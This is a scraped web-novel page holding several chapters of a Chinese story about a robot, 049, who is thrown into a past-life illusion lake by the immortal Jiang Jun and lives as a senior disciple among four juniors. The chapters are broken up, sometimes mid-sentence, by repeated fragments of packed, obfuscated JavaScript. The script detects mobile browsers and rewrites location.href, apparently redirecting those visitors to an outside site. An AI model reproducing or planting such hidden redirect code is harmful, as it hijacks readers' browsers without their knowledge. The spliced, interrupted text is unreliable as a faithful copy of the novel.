d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15271019|166628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 殴//打也是一种表达爱情的方法呢。 049学废了，满意离去。 当天晚自习，喻星光全程魂不守舍。 晚自习结束，不知道什么时候回来的牧风羽晃到他和林肆玖面前，破天荒地主动道：“放学一起走吗？” 喻星光不知道该用什么目光面对他。做了半天心理建设才支支吾吾地抬头。 一抬头，他又大吃一惊。 “你脸上怎么了？”喻星光震惊地看着牧风羽肿了一大片的脸颊。 “哈哈，被打的。”牧风羽嘚瑟地笑着，好像那伤是什么勋章。 喻星光欲言又止，止言又欲，看他的眼光相当复杂。 当天回家的路上格局大变。 原本是聊天主力的喻星光一反常态地沉默了一路，反倒是牧风羽哼了一路的小曲。 而049在惆怅。 在校园世界的一天又过去了，果然轻松的时光过的就是快。 他又得回去做任务了。 他看了眼身边默默低头走路，不知道在想什么的喻星光。 希望下次再来的时候，能看到喻星光恢复正常状态。 虽然他还是不懂，为什么一个打架就能让喻星光吓成这样。 可能他胆子比较小。049想。下次还是多保护保护他吧。 * 三人告别之后，049选择回到了仙尊世界。 上次他离开的时候，记得江珺说要带他去一个地方。当时的江珺温和得有些诡异。 049心中感到不妙。 白光闪过，049又回到了惊尘峰上那个精致又如牢笼一般的房间。 此时已天光大亮，窗外浓雾弥漫。 江珺竹青色的衣摆影影绰绰地浮现在了雾中，他清冷的声音也在雾中朦朦胧胧：“出发吧。” 049走出门外，只见一只玉色仙舟轻盈地悬浮在崖边。 仙舟是高阶修士出行会使用的一种工具，以修士的灵力为驱使动力，可日行万里。 049松了口气，他还怕江珺要御剑带他。 御剑可不是什么好体验，幸好大人时代变了，有仙舟这种更为舒适先进的交通工具。 进入仙舟之后，049问了几遍江珺他们要去哪里。 江珺并没有正面回答，但安抚似的朝他露出了一个微微的笑容：“放心……” 他的声音有些低沉：“一个让我们更了解彼此的地方。” 049听闻此回答感觉起了一身鸡皮疙瘩，虽然他的仿真皮肤并没有汗毛。 总感觉不是什么正经好地方。 049已经在琢磨逃跑的方法了。 而从仙舟向外看去，一直是浓重的云雾，遮挡了一切的视线。 他根本无从得知自己到了哪里。 仙舟行驶了整整一天一夜。 这一夜，仙舟内的软榻上，江珺一直将049拥在怀里。 看似亲昵温柔，但他垂在049腰畔的手却是隐晦的禁锢。 让怀中人逃无可逃。 直到晨光熹微的时候，他们终于缓缓停了下来。 “到了。”江珺说。 话音声落，仙舟的门缓缓地打开了。 049谨慎地站起身来，向外看去。 等看清了眼前的景象，他缓缓睁大了眼睛。 “这是——” 19. you jump i jump 浓雾散去，呈现在049眼前的，是一片不似人间的景象。 仙舟正悬浮在一处幽暗山谷中。 环顾四周，如青铜镜般光滑冷冽的山体高耸不见顶，几乎遮蔽了一切天光。 而唯一的光源便来源于谷底。在青铜山崖环抱之中，一轮硕大浑圆的满月散发着盈盈光辉。 明月……如何会在谷底？ 049疑惑。他不由得更向外探了探头。 此时仙舟缓缓下降，一直降到谷底明月近前。 靠了近了，049才发现，这明月竟是一片巨大的湖泊。而四周的山峦折射了湖水的皎洁清辉，将环形的湖岸镀成了一圈银白的月晕。 谷内极其安静。没有风声、没有虫鸣，好似一切尘间之物都被隔绝在外。 只有隐隐的、歌吟般的低语声好似从湖底涌来，听不真切，如梦寐一般。 这绝不是什么凡俗之地。049心里清楚。 不知道江珺把他弄到这个地方是想搞什么幺蛾子。 难不成要跟他说经典情话“今晚月色真美”吗？ ——这是他在《如何模仿一个正常人类》中学到的，至今还没有契机对谁说出口。 然后，站在他身后的江珺就悠悠开口了：“皎皎月辉，溶溶如水。素华流转，灼灼其炜。” 049：“……” 不愧是无渊仙尊，要说就说经典情话高雅plus版。 “仙尊，你带我来这里是何意？”049不想跟他开诗词大会，直接问道。 于此同时，他在脑中所存的世界背景资料里疯狂检索这是个什么地方。 江珺渗出了一个冰水似的微笑，在荧荧微光的映照下显得更加捉摸不透。 “只是想带你来看这美景。”他说，指着外面的湖泊，“这可是五千年才会打开一次的上古秘境『明月前身』。你不靠近些欣赏吗？” “……”049不语，只是一味地在脑子里精准检索“明月前身”。 奈何脑子速度太慢，半天还没加载出资料。 虽然还不知道是什么，但他本能地感觉到危险，拒绝了江珺的诱惑：“……不了，我还是在仙舟里看看就好了哈哈哈。” 他干巴地找了个借口：“我恐水。” 江珺脸上的笑容不变：“那太可惜了。” 他踱到049背后，不动声色地挡住了049的退路。 冰凉的手缓缓触上了049的后颈。 一瞬间，049还没来得及闪躲，就被一股巨大的力量狠狠按倒在地，毫无怜惜。 他的膝盖重重地磕在地上，如果他是一个真正的人类，一定会痛得流出眼泪。 江珺将他粗暴地拖到仙舟门口，弯下腰，强按着他的脖颈，让他靠近水面。 “不要害怕。”他说。声音是轻柔的，动作却是最无情的，“好好看一看吧……” 049半个身子悬在水面之上。 此时这么近的距离，他可以看到清澈水面上浅浅的磷光和波纹，以及倒映的环绕群山。 但怪异的是，如镜的湖水上却并没有映出他的影子。 “？”他听到了身后江珺发出了微微疑惑的声音，“怎么会看不见……？” 话音还未落，湖水突然有了变化。 平静的水面忽然翻涌起来，颜色也变得浑浊厚重。 而在水浪之间，涌上的竟是一大片110011100111010……！ 熟悉的二进制代码就这样出现在了049意想不到的不熟悉地方。 无数的1和0在湖面上沉浮着，闪烁着幽微荧光，壮观而又诡异。 049感觉到江珺明显愣住了。哪怕是见多识广的无渊仙君，也从未见过此等景象。 “放开我！”049趁机挣扎着想要站起来。 于此同时，他脑海里搜索到了“明月前身”的相关信息。 『明月前身』，一个常人无法进入的稀世秘境。 秘境中那片明月般的湖水，照影可见前世之模样。 如若有人以身入湖，则会进入幻境，在幻境中他会失去记忆，重温前世的经历。 而此时，湖面会显示出他在幻境之中的情景，他人也可观之。 换句话说，这玩意就跟个碟片放映机似的。 把人像碟片一样推进去，大屏幕上就会播放他的前世故事。 ——所以江珺带他来这里，就是想刺探他的前世吗？ 049呆滞了。 他是机器人啊，他的前世也许是一段代码。所以在他临湖而照的时候，湖面上才会显示出一大堆1和0 。 如果“照影”没用的话，那么下一步是“以身入湖”…… 江珺应该就会把他一把推湖里了。 果然下一刻，背后的力道便猛然加重。 “你不是我前世的爱侣。你到底是谁？” 江珺的声音已经冷如寒刃，周身的威压骤然释放，令049动弹不得。 江珺心里早就种下了疑云。 曾经的林肆玖一心相信他、爱慕他，江珺能够轻易地将他的真心和性命都全部掌控在手。 加上和天道指示中别无二致的长相，江珺并未怀疑他的身份。 直到有一天，一切突然变了。 林肆玖的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15271020|166628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 灵魂仿佛变得飘忽起来，像一阵轻烟，渐渐地从他紧握的指缝中逸散而出。 虽然表面上他还是依顺着江珺，但江珺能感觉到不对劲。 不管是他枕头底下的画像、他和魔尊之子牵扯不断的过往，还是他脖颈上来历不明的暧昧红痕，一切都说明了他的心并不纯净。 ——这样的人不可能是他江珺的前缘。 于是江珺趁着明月前身秘境五千年一次的开放，定要探究个清楚。 但让他没想到的是，林肆玖“照影”时，湖面上出现的竟是一大串离奇的符咒。 这串符咒只由密密麻麻的两个符号组成，却玄妙无比，令人见之眩晕。 无渊仙尊阅尽天机阁仙书秘笈，也从未听闻过如此符咒。 ——林肆玖果然不是一般人！ 江珺心神一凛。 那么，就让他来看看他的真面目吧。 江珺毫不留情地释放威压，干脆利落地将林肆玖推落入湖—— “哗！” 水花溅起，林肆玖在水面上扑腾挣扎着，整片湖漾开阵阵波浪。 他看到了林肆玖惊愕又愠怒的眼睛。 林肆玖的手努力地拽住仙舟的边缘，想要借力不沉下去。 不过是无用的、蝼蚁般的挣扎罢了。 江珺嗤笑，一脚踏上了林肆玖紧攥的手。 “下去。”他说。 下一秒，他却听到了林肆玖的冷笑。 “呵呵。” 随着这声冷笑，林肆玖潮湿的手倏然抓住了他的脚踝，力道狠厉。 一瞬间，带着霹雳的电光从他的手心攀援而上，像有力的藤蔓，又像剧毒的蛇，缠绕住了江珺的小腿。 江珺感觉到腿部一阵痛麻。 ……刚筑基的林肆玖什么时候能释放出这种强度的雷系术法了？ 他讶异了一瞬，但很快又平静下来。 虽然有些强度，但对他无渊仙尊来说，也只不过是蚂蚁妄图撼动大树罢了。 他游刃有余地运起真元，随意撑起护身的水系灵罩，要将这电光阻隔在外—— 然而竟事与愿违。 林肆玖那一点微薄的、仅仅缠绕在他脚踝处的闪电一刹那勃发出原先数倍的力量，如燎原之火般瞬间烧遍了他的全身！ 虽然并未对他产生什么实质上的伤害，但那一刹那全身的刺痛足以让他惊愕分神，随即被林肆玖全力一击，一把拖入了湖里！ 而在落入湖水的一瞬间，他看到了林肆玖脸上得意的笑。 还有他一翕一张的唇。 林肆玖说： “傻了吧。水导电。” 20. 猜猜谁是我 因两人落水，湖面震起激浪。 千万颗散发莹白光芒的水珠冲天而起，在幽暗的空间里宛若悬浮的星群。 清越的水声回荡在这个本应寂静的山谷中，氤氲出尾声连绵的嗡鸣。 但很快，被撕裂的湖面像是自愈极快的伤口，重又恢复了平静。 哪怕是无渊仙尊，最终也无法摆脱天地造化而成的秘境之力。 049和江珺纠缠着，沉入了深深的湖底。 049起初还能看到江珺不可置信的脸。向来仙风道骨的无渊仙尊从未像今日这般狼狈。 他的乌发凌乱地在水中散开，从来纤尘不染的淡青衣袍也湿了个透。 哈哈。 049乐得很。虽然他暂且不知道接下来事情会如何发展，但拖江珺下水总归没错。 他不想让江珺好整以暇地在岸上观看他的“前世”。 很快，049的视线暗了下去。 他知道，应该是湖水的效力起作用了。 他想，也许他会回到在穿书局的那段时光。那时很多研究员围着他，一点一点建造出他的全部。 他有点想念他们。 也许重温一下那段经历也不错。 然而事与愿违，当049的眼前重新亮起的时候，他愣住了。 ……这是哪里啊？ * 此时的049斜斜倚在一颗参天巨松之上，微风拂过，将松针上的晨露抖落而下，正巧落在他的眼睫上。 他眨了眨眼睛，站直身子。 一站直，049发现了些许不对。 这并不是他原先的身躯，比他原来的身体矮上一些。 他伸出手低头看了看。这是一双十四五岁少年的手，双手白净却又剑茧横生。 是一双练剑人的手。 我到底穿到了谁的身上？这个幻境又是谁的前世记忆？ 049思索片刻，得出一个结论。 ——只可能是江珺的。 毕竟和他一起跌进来的只有江珺一个人。 049并不属于这个世界，所以秘境并未读取到他的记忆，而是将他和江珺打包进了同一个幻境。 那么他现在应该是在江珺的前世记忆中扮演了一个角色。 具体是什么角色……走一步看一步吧。 这时，他听到了远处传来一声呼唤。 “林灵漪——！站树上干嘛呢！来，过来！” 049循声抬头望去。 不远处一座白玉仙台之上，一位和蔼老者笑着朝他招手。 林灵漪，应该就是他在这个世界的名字了。 谐音001……居然和他的049一脉相传。 049一边暗暗吐槽，一边跳下树去，跑向那老者。 跑到近前又不知该称呼他什么，只好礼貌说了一句：“呃……您好？” 老者惊讶得胡子都翘起来了，低头仔细看了看049，纳罕道：“咦？今天太阳打笑春峰西边出来了。你今日怎么对为师这么恭敬了？” 看来这老者是自己的师父，两人平时估计相处挺随意的。 049刚准备找补一下，师父却已经明白了什么的样子，点了点头。 “我懂了。”他抚了抚自己的胡子，“一定是你想在新入门的小师弟们面前摆出个大师兄的榜样。” “没错，就是这样。”049连忙顺杆爬。 “咳咳，想法不错。”师父转过头，目光变得渺远起来，“从今以后，你要给他们做榜样，还要多照顾照顾他们。入了笑春峰，便要相互扶持。” 049满口答应着，随师父的视线看去。 只见他们所站的仙台之下，竟是绵延三千级的白玉台阶。 而台阶上，有几个小少年正在努力往上攀登，有的已经快要登顶了，有的连半山腰都没到。 但同样的是，他们都气喘吁吁，大颗大颗的汗珠从额角滴落。 “这问心阶，每登一级都会消耗大量灵力。考验的便是入门修士的毅力和道心。”师父道，“但当年你不费什么劲就轻松登顶，不愧是为师的首徒啊！” 他很骄傲地拍了拍049的肩，充满了欣赏。 看来自己天资过人啊！049很高兴。 终于不用像在江珺面前那样，需要压抑修为了。 等一下……江珺？ 049猛然想起了什么。 这不是江珺的前世幻境吗，那江珺人在哪里呢？ 049赶紧仔细看了一下身边的师父。 师父白发白胡子，年岁已高但精神矍铄，一双眼睛笑眯眯的，非常慈祥。 这肯定不是江珺，江珺就算老了也肯定是那种阴郁的怪老头，和慈祥沾不了一点边。 那么—— 049又望向了问心阶上的四个小师弟。 前世的江珺肯定是他们中间的一个了。 至于是哪一个，等他们都爬上来之后，应该就能一眼看出来。 毕竟按照经典套路，一个人的前世和今生一定会有点共通之处的。 于是049和师父两个人便等啊等，等到日中，第一个师弟终于大汗淋漓地登顶仙台。 他腿一软，几乎要趴下了。但还是努力撑起身子，向师父行了个大礼。 “呼……弟子江澈，拜见师父！”他喘着气道。 江澈！049一听，姓江！这下稳了，肯定是他。 毕竟江珺这样的，前世天资也肯定不会太差，如今第一个登顶也在意料之中。 师父乐呵呵地让江澈快起来，夸奖了他一番。 江澈谦逊地自谦了一番，随后又转向了049. “师弟江澈，见过林师兄。”江澈也向他恭敬行了一礼，“久闻师兄之名，往后还请师兄多多指教。” 哈哈！049感觉还挺爽的。 从前在江珺手底下天天装乖顺，现在他可终于翻身机器人把歌唱了，前世的江珺还要乖乖跟他行礼。 爽！ 049的得意都快溢出脸上了，见江澈不解地抬头看他，他才收敛了一点。 “好的师弟。”他正色道。 还是对幻境里的江珺假装好一点吧，毕竟等出了幻境，江珺也会保留在这的记忆。 到时候希望他找自己算账的时候能手软一点。 049想了想，又在袖子里摸了摸，摸到了一小袋松子糖。 他抓了一把往江澈手里一塞：“给你。” 江澈有点吃惊，但还是认真地收下了：“谢谢师兄。” 旁边的师父对江澈笑道：“你师兄都这么大了，还偏爱吃糖。不久前还偷偷拿我的丹炉炼糖，还顺走了不少甘露灵浆调了进去，做出来的估计就是你手里这一把。” 江澈一听，那这不是普通的糖啊。既然掺有甘露灵浆，一定颇有益处。送给他大概算是师兄的见面礼。 于是他赶紧再次谢过师兄，同时放了一颗在嘴里。 松子糖在舌尖缓缓融化，清甜的味道在口腔中弥散开来。同时有一股温柔的力量随着甜味涌遍了他的全身，舒缓了他身体的疲惫。 原来师兄是此用意。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15271021|166628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 他感激地望向师兄。 他还在山下便久闻这位林灵漪师兄之名。人们赞他少年天才，同时为人极佳。 今日一见，果然如此。他以后一定要追随师兄，多向他学习！ 049莫名其妙地被江澈炽热的眼神烫了一下。 他还并不知道自己已经多了个小追随者，只是以为江澈觉得他的糖很好吃。 于是他默默打开锦袋，又塞了两块糖给江澈。 江澈的目光更炽热了。 这一世的无渊仙尊此时也不过是个爱吃糖的小孩子罢了。049想。 也不知道后世这么会变成那样。 在他们互动的时候，又有一个师弟登了顶。 049这次并没有在意，毕竟他已经找到前世江珺了。 结果这位师弟一句话又让049浑身一震。 少年俯身一拜，声音清朗：“弟子王君，拜见师父！” 等一下，王君？那不就是珺吗。怎么你也跟江珺有点牵连？ 049感觉自己的脑瓜子又嗡嗡响了。 好不容易锁定了嫌疑人，结果又来了第二个选项。 049又赶紧比较了一番两个师弟的长相。 江澈眉眼稍有一点像江珺，而王君唇形稍有一点像江珺。 完全不分上下啊！ 049有点晕了，他第一次感觉自己犯了人类的病症——选择恐惧症。 此时王君已经过来向他行礼了。 来不及思考，他现在只能一碗水端平，又抓了一把松子糖塞到王君手里。 王君的眼睛也亮了。 他们还没来得及开口讲话，此时第三个师弟也气喘吁吁地上来了。 他一上来，049就眼前一黑。 这个师弟穿着江珺最为偏好的淡青色衣服。 等他开口，049眼前黑上加黑。 “弟子吴渊，拜见师父。” ——名字拆完了，改拆道号了是吧！ 彻底完了，二选一变三选一。 049就像一个唐僧，面前站着一个孙悟空和两个六耳猕猴。 分不清啊，他真的分不清！ 049现在已经变成了无情的松子糖售卖机，又散给吴渊一把糖。 然后他绝望地等着最后一个师弟上来。 估计又是一个江珺候选人，他想。 但这次，他们等了许久。 直到太阳微微西斜，最后一个年纪最小的师弟才出现了身影。 他几乎是爬着上了最后的台阶，浑身衣衫如水浇般湿透，万分狼狈。 他努力地抬起头，望着远处的师父和正吃着糖的几位师兄，声音几乎带上了哭腔： “……弟子汪乐水无用，让师父和师兄们久等了。” 049看着这位眼眶通红的师弟，心里顿生怜悯。 汪乐水……这个名字好像和江珺并没有什么关系。 而且他快要哭出来的样子以及并不上佳的资质，好像也和江珺沾不了一点边。 太好了，终于排除一个！ 049一边高兴，一边上前去把师弟扶起来。 也给他一点糖缓一缓吧。他想着，伸手到袖子里掏。 这一掏却愣住了，装糖的锦袋不知何时已经被他掏空了，只剩下一点糖晶碎屑。 “没有糖了……下次再给你吧。” 049有点不好意思地说。 然后他就看见汪乐水愣愣地看着他。 他眼眶边摇摇欲坠的一滴泪，终于在此刻掉了下来。 21. 心悦之人是师兄 049吓坏了。 他好像惹哭了人家无辜的小孩。 他想用什么弥补一下，浑身上下掏了个遍，发现这林灵漪真是什么正经东西也不带。 最后，他只好把那个装着点碎屑的锦袋整个递给了汪乐水。 “把这个拿去，以后等你想吃糖的时候就带着它来找我，我一定把它装满。” 049这么说着，试图安慰汪乐水。 汪乐水用脏兮兮的手接过锦袋，不好意思地抹了把脸擦掉眼泪。 “谢谢师兄……”他嗫嚅道。 049摸了摸他的头。 随后在幻境的日子里，049就开始了他当师兄的生活。 对于049来说，真是一个新奇又困难的体验。 毕竟049一个只是略通人性的机器人，让他去给其他正常人类做榜样，可真太为难他了。 也很为难他的师弟们。 “师兄……这对吗？” 这是一开始，师弟们对他说的频率最高的一句话。 毕竟谁看了049的机械舞式练剑招式都要疑惑。 “师兄是不是关节哪里疼啊。”吴渊有些担忧地说，“我家在山下是开医馆的，这种关节僵硬的表现可能是疾病的前兆。师兄还年轻，可千万不要讳疾忌医啊！” 049的机械关节应景地发出嘎巴一声脆响。 “……”049挽尊道，“不是，这是我新研究出的机械剑法。其中自有玄妙！” ……玄妙不了一点。049是以情感交互为重点开发的机器人，他的肢体协调性确实是短板。 吴渊不解，还想再劝，却被江澈拦住了。 江澈沉静地说：“不要只看肤浅的表象，要去追寻更深层的本质。” 吴渊：“？” 江澈指着仍在嘎巴嘎巴练剑的师兄，说道：“我暗中观察已久了。师兄今晨共把这组剑法挥出了九九八十一遍。而他每一遍的动作都是一模一样的，没有毫厘偏差。这是何等的把控力！” 其实因为049是程式控制躯体，同一套剑法动作当然一模一样。 吴渊也仔细观察，发现确实如此，不由大为佩服。 “看来是我浅薄了。”吴渊若有所思，“想必师兄仿若关节炎一样的动作也是大有深意。” 于是四个师弟放下疑心，满怀敬意地看了049练剑看了一整天。 除了江澈发现的师兄每一个动作都一模一样之外，他们还发现了其他厉害之处。 王君发现了，师兄每挥几次剑，就会有一次嘎巴声响。而将这嘎巴声连续起来听，竟是有节奏规律的。 “这好像是……”王君低头看着他在卷轴上记录下来的节奏，瞳孔地震。 旁边的江澈也看了一眼，惊呼出声：“这不是音修名曲《九霄鸣》的节奏吗！” 几个人面面相觑，都从对方的眼睛里看到了震惊和佩服。 吴渊：“竟以身作乐器奏曲，人器合一！” 王君：“不愧是师兄啊，风雅至极！” 江澈：“不仅是风雅，将音修之曲融入剑法，应该也会有剑术上的助益。” 他们立刻讨论开来，只有汪乐水沉默寡言地站在一旁，没有参与讨论。 他只是默默地看着师兄的动作，在心底描摹了一遍又一遍。 入夜，大家各自回自己的院落歇息了。 汪乐水一个人披着夜色来到了师兄白天练剑的那个山崖。 他回忆着脑海里记住的动作，深吸一口气，模仿着师兄那奇异的停顿与节奏，开始挥剑。 他发现，这可比他想象的要难多了。 特殊的节奏很容易紊乱，而且也很难做到师兄那样分毫不差。 他努力地试了好多遍，都不得要领。 在他手忙脚乱地时候，右臂反手一挥，剑柄竟一不小心敲在了自己的左肋骨之下。 汪乐水首先感到的是一阵闷痛，痛得他脸色煞白。 但他仍不愿回去休息，强忍着想要继续练剑。 又挥了几剑，他竟然渐渐感觉闷痛减轻，又挥几剑，浑身竟是松快起来。真元在经脉里缓缓流动，一改从前的滞涩。 汪乐水呼吸一滞。 ……师兄的剑法，竟有如此妙处！ 他遥遥望向师兄屋舍的方向，心里满是感激。 049突然感觉背后凉凉毛毛的，还以为是自己漏电了。 他自然不知道，汪乐水那是纯属走了大运，一剑正好敲在了堵塞的穴位上，把自己的经脉给敲通了。 他只知道第二天，突然四个师弟的练剑姿势都变得怪模怪样，一卡一顿的。 等到师父闭关出山之后，看着自己五个挥剑七分僵硬三分卡顿的徒弟，陷入了沉默。 “谁给你们下毒了？”师父痛心疾首，卷起袖子，“为师替你们报仇。” 几个师弟连忙给师父解释了这是大师兄新研发的剑法。 师父自是比徒弟们道行要高，他沉下心来观察了一会儿，便发现了049剑法中的精密计算。 “灵漪想法相当不错啊！”师父摸着胡子赞道。 师父觉得剑招的实用胜于美观，于是就由着他们去了。 没想到很快，这股妖风从笑春峰吹到了另一个峰，逐渐吹向了整个宗门。 一时，宗门中的年轻弟子以练“机械剑法”为潮流。 而他们好好的宗门在外得了一个戏称——“木偶门”。 造孽啊！师父后知后觉地后悔了。 但049在师弟们心中的威望是莫名其妙地水涨船高。 几个师弟都喜欢缠着他，向他问东问西，让他带着他们玩。 049倒是很乐意和师弟们多接触，因为这么长时间了，他还是没有确定到底谁才是前世的江珺。 不过从性格上来看，可能还是江澈最符合。 王君风流倜傥，十分多情。自迈入青春期后，就总偷偷溜下山找隔壁峰的小师妹玩。 在被小师妹拒绝之后，还曾经深夜闯入049的房间，痛哭流涕地说心痛失眠，要师兄陪。 049对情感问题是半窍也不通，但对治疗失眠还是有点手段。 在听闻049用机械的声音背诵圆周率半柱香后，王君沉沉地睡去了。 049轻轻给他盖上被子，看着烛光下王君眼泪未干的脸。 他脑子里想象了一下江珺为情所困哭得梨花带雨的样子，顿时一片恶寒。 王君被他排除了。 而吴渊是个心直口快、太过豪爽的性子。 他看到什么便问，想到什么便说。 “师兄，你的屁股怎么在发红 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15271022|166628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 光！”有一回晨练的时候，吴渊突然指着049身后大叫。 坏了。这是049的充电插口在冒红光警示。 虽然049在幻境里看起来是另一幅模样，但这只是幻术，实际上内里还是机械身体。 因为在这里太久没有充电，049的电量不足了。 049在幻境中没有动感单车充电器，只能能每次雷雨的时候去山顶上找闪电劈，十分捉襟见肘。 “啊哈哈。”049不动声色地转过身，道，“这是我修炼的异术。” 吴渊好奇，便求049也带他修炼，理由竟是：“屁股会发光实在太独特了！” 049实在想不到一个会缠着他，让他教自己屁股怎么发光的江珺。 于是吴渊也被排除了。 而最小的师弟汪乐水，一开始049就没有把他放在嫌疑人范围内。 他似乎有些自卑，很少主动上前和他们搭话，通常只是一个人默默地在旁边练剑。 而049送给汪乐水的糖袋子，汪乐水也从来没有拿着它来找049要过松子糖。 一开始049以为他不爱吃糖。因为在其他三个师弟和他混熟了，找他要糖的时候，汪乐水也只是远远地看着。 但是有一天，049去汪乐水住处找他，在枕下看见了熟悉的糖袋子的一角。 隔天，049主动送了一把松子糖给他。 接过糖的时候，汪乐水的眼神湿漉漉的。 这么内向但可爱的师弟，也不可能是江珺。 所以最后只剩江澈一个选择。 江澈气质清冷，性子沉稳。随着年龄的增长，到了十六七岁时，便颇有几分无渊仙尊的气势。 不过在性格上，他比江珺那破德行要好太多。 锁定目标之后，049渐渐和江澈接触的更多了。 为了无渊仙尊出了幻境以后不对他下手太狠，他勤勤恳恳兢兢业业地给江澈开小灶刷好感度。 江澈确实也对他十分依赖。 有一天，049试探江澈道：“江澈，你有没有想过去修无情道呢？” 江澈愣了一下：“师兄为什么这么问？” “随便问问。”049没有说实话。 江澈却是看着049笑了，过了一会儿，他回答道：“我不会去修无情道的。” “为什么？”049有些意外。 “因为，”江澈意味深长地说，“我已情有所属，自然不能去修。” “嗯？”049有些惊讶，“你喜欢上哪个小姑娘了，怎么没有听你提起过？” 这就奇怪了，江澈一向最会向他这个师兄倾诉，怎么这次守口如瓶呢。 “是你啊师兄。” 江澈叹了口气，看着一脸迟钝的师兄，“我心悦的，一直是你啊。” “啪——” 049手里的剑籍掉落在地。完了。他心想，好感度刷过头了。 “啪嚓——” 另一声脆响从门口传来。 049僵硬地回头看，看见了满脸惊愕的汪乐水。 汪乐水的眸子里闪动着什么难以言说的东西，然后他掩饰似的，转头就跑。 而地上，是被他失手跌碎的糖罐。 阳光下，他亲手炼的琥珀糖和罐子碎片一起，反射着寂寥的光。 22. 师兄在透过我看谁 汪乐水这孩子是不是有点恐同啊。 049望着汪乐水落荒而逃的背影思索道，好像听说有人类接受不了两个同性谈情说爱。 他低下头，看着地上亮闪闪的糖晶碎片。 明明是那么用心做的糖，碎了一地真的好可惜。 049蹲下身去，准备去捡掉在地上的糖，身后却传来江澈的声音。 “师兄。”他转过头，江澈的影子靠近，投在他身上。049突然发现这个刚入门时才到他肩膀的小师弟不知什么时候已经长得比他高了。 也许什么时候该把自己的机器骨节拔高点了，049走神地想。 049不知道，他又无师自通了人类的另一大本领：逃避。 他实际上在逃避面对江澈突然而来的告白。 事情怎么变成这样了？ 机器人烧坏CPU也没有搞明白这些人类的心路历程。 他不就是给小师弟送了点糖、给小师弟辅导了剑招、陪小师弟吹吹风看看星星看看月亮吗！ 师弟怎么就爱上他了？ 他只是按照《如何模仿一个正常人类》所说的，做了每一个师兄应该做的事情啊！ 如果他注意到这本教程的出版信息就会发现，这本书来源于绿晋江市。 这大概是绿晋江市每一对师兄弟的基操吧。 而此时的049看着逐渐靠近的江澈，只想要后退。 但他正蹲着，一动差点摔了个屁股墩。 江澈眼疾手快一把扶住了他的肩膀。 049看到江澈近在咫尺的、有些无奈的眼睛：“师兄不要吓成这样嘛。” 他没有再语出惊人，只是好像什么也没有发生一样，说道：“机械剑招的第二十八式，那个手腕的机械抖动我一直没有怎么学会。师兄能再教教我吗？” 049：“哦……喔。” 049：“那你现在能先放开我吗？” 江澈这才松开了搭在049肩膀上的手，站起身来。 他仿佛不经意地看了一眼远方，嘴角露出一个微微的笑容。 远处暗暗偷看的汪乐水猛然藏到了树后。 他垂下的手在身侧狠狠地攥住，用力到指尖发白。 他模糊地看见，江澈俯下身去凑近了师兄，凑得那么近……好似吻了他。 师兄没有推开他。 而江澈的笑容分明是在向他挑衅。 他的手越攥越紧。 他知道他天资不高、长相不出众、性格不讨喜。 他从来都不是师兄最喜欢的那一个。师兄的关注就像见面第一天分的那袋松子糖。 他得到的永远只是别人剩下的碎屑。 他嫉妒江澈虚伪地装乖就可以得到师兄的最多关爱。 他嫉妒王君可以肆无忌惮的地让师兄听他无聊的心事、哄他入睡。 他嫉妒吴渊口无遮拦的蠢话可以让师兄无奈一笑。 而他，明明最听话，明明最让师兄省心，为什么师兄就不能多看看他？ 为什么，就不能只看着他？ 他浑身滚烫，好似从身体深处爆发出了一场大火。大火熊熊燃烧，烧得铺天盖地，烧得蚀骨灼心。 他的手搭在了剑上。 下一刻，灼热剑风喷薄而出，面前参天大树应声而倒。 裂口处，缓缓流下的汁液混合着扬起的灰尘，像树干残躯流下的一滴污浊的血。 汪乐水紧紧盯着树干上纵横入骨的剑痕。 江澈，谁笑到最后还未曾可知呢。 另一边，刚被江澈拉走练剑的049听到后山一声巨响。鸟雀惊散。 “怎么回事？”049要回头去查看情况。 “可能后山的灵兽出没撞倒了大树。”江澈心情很好地说。他刚刚站起身来的时候，还看到不远处的树干上站着两只珍稀的春归鸟。 其中一只脚滑了一下，差点掉下树。 像不知所措要摔倒的师兄。江澈当时这么想着，脸上才露出了笑容。 他压根没有看到树下那双暗暗窥视的眼睛。 “可是乐水刚刚往那个方向跑的。”049还是回头了，江澈只好也跟着他过去。 结果两个人看到了地上陈横的树干断躯。 还有那两只春归鸟被剑风割裂的尸体。 